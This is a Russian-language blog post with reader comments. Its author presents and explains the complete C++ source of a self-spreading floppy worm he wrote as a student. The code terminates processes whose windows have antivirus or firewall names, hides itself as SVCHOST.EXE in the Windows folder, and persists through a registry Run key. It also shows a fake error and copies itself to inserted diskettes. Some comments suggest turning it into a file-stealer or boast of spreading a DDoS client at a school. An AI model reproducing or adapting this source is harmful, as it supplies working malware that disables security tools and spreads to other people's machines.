Меню
Категории
Несложный резидентный вирус-червь на C++
27 февраля, 2008 Вирусы

Устроившись работать программистом в свой родной ВУЗ, я обнаружил интересную вещицу. На некоторых компах периодически стучал флоппи-дисковод. Пытался читать или писать данные на дискету. Каково было мое удивление, когда я узнал в этом засранце свое 1курсное творение :). Которое каким-то образом выбралось на свободу. Этот вирус писался исктлючительно как научный эксперимент к двум моим научным статьям о вирусах, но как этот черт выбрался для меня осталось загадкой. Кстати обе статьи я опубликую на сайте, после их публикации в научном сборнике.

Вирусом, как таковым это назвать сложно, так как ничего кроме копирования на дискеты он не делает. Но сделана работа была на славу. Поехали…

При получении управления файл, искал все активные окна в заголовках которых содержались словечки:
Norton”,”AVP”,”Anti”,”Vir”,”McAfee”,”anti”,”vir”,”firewall”

И закрывал их. Это было несложно. И по большей части ни к чему, так как он не детектировался как вирус. Но проверить возможно ли это было крайне интересно.

char* bad_windows_list[kx] = {“Norton”, “AVP”,”Anti”,”Vir”,” McAfee”,”anti”,”vir”, “firewall”};

BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}

Следующие его действия вполне предугадываемы.

Копируется в системную папку windows под именем svchost.exe и оставляет свои кишки в системном реестре, для запуска при перезагрузке.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR pCmdLine,int nCmdShow)
{

char myname[1024],windir[1024];
HKEY hKey;
SetErrorMode(SEM_NOGPFAULTERRORBOX);
PeekMessage(NULL, NULL, NULL, NULL, NULL);

GetModuleFileName(hInstance,myname,sizeof (myname));
GetWindowsDirectory(windir,sizeof(windir));

strcat(windir,”\\SVCHOST.EXE”);
CopyFile(myname,windir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);

//——————–Startup——————————–
RegOpenKeyEx(HKEY_CURRENT_USER, “Software\\Microsoft\\ Windows\\CurrentVersion\\ Policies\\Explorer\\Run” ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,”SVCHOST.EXE”,0, REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
//———————————————————–

if(strcmp(windir,myname))
{
MessageBox(0, “This program not win32 mode”,”Error”, MB_OK | MB_DEFBUTTON1 | MB_ICONEXCLAMATION | MB_DEFAULT_DESKTOP_ONLY);
return 0;
}
//——-
for(;;)
{
if(IsDiskInDrive (“a:\\”))
{
CopyFile(windir,”a:\\diskinfo.exe”,FALSE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software\\Microsoft\\Windows \\CurrentVersion\\Policies\\Explorer\\Run” ,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,”SVCHOST.EXE”,0,REG_SZ,(BYTE *)windir,256);
RegCloseKey(hKey);
}
EnumProcessesOther();
Sleep(30000);
}

return 0;
}

Выводит липовое сообщение об ошибке. И после перезагрузки висит в памяти, и каждые 30000 миллисекунд записывается на дискету под именем diskinfo.exe. На удивление простой вирус, правда? Никакого вреда, только распространение. Но нестандартный ключ записи в реестр и незадачливое имя файлы svchost.exe вводило в ступор даже опытных сис/админов. Вроде бы никаких лишних процессов нет, а он есть. Палилось это довольно легко.

Настоящий процесс svchost.exe никогда не запускается из-под пользователя. Он всегда имеет приоритет запуска от системы (SYSTEM). После эксперимента, зверь был отправлен ко всем известным антивирусным компаниями и начал детектироваться спустя два дня. Все данные об эксперименте отражены в статьях. А программа прекратила свое существование.

10 комментариев
  1. Ну и для чего его было отправлять в лаборатории?
    Был бы своего рода вирусик, только его подретушировать штобы определенные файлы копировал и увсе!))

  2. Ну ты понял ;-)

    Помню-помню твоего шалунишку.)) Вот только мне интересно, кто же это такие, те “опытные сис/админы”, которых вводило в ступор? )))

  3. ну и какой это вирус?
    очень слабый троян, если его так можно назвать..

    и зачем такие заголовки делать?

  4. ЭТО ОБЫЧНЫЙ ФЛОППИЧЕРВЬ

  5. Какой эт нафиг вирус?,грохает процессы,прописывается в автозагрузку,и при наличии дискеты в дисководе записывается на неё,ни инфицирования других файлов,ни сокрытия процесса,ни других фич,и спалится это творение любым антивирусом ещё при добавлении в автозагрузку,фигня

  6. Слушайте ребята. Без выебонов пожалуйста. Я писал это в 2003 году для курсовой работы.

  7. Хакнутый Хакер

    Написал свой ддос клиент на delphi. Запустил на всех компах в школе…
    Ддосил интернет журнал… Но вирус был посложнее, копировался в расшареные локальные папки.
    Написал дома для практики, а мой друг тихонько в школе запустил!!! Инет стал глючить, компы висли, т.к компы очень старые!
    Там стоял нот32 – полное фуфло, а еще с базой данных за 2008 год (сейчас 2010)

  8. Написал свой ддос клиент на delphi. Запустил на всех компах в школе…
    Ддосил интернет журнал… Но вирус был посложнее, копировался в расшареные локальные папки.
    Написал дома для практики, а мой друг тихонько в школе запустил!!! Инет стал глючить, компы висли, т.к компы очень старые!
    Там стоял нот32 – полное фуфло, а еще с базой данных за 2008 год (сейчас 2010)

  9. А саморасространение это не вред ?

  10. с реестром можно поучитса.

Добавить комментарий




*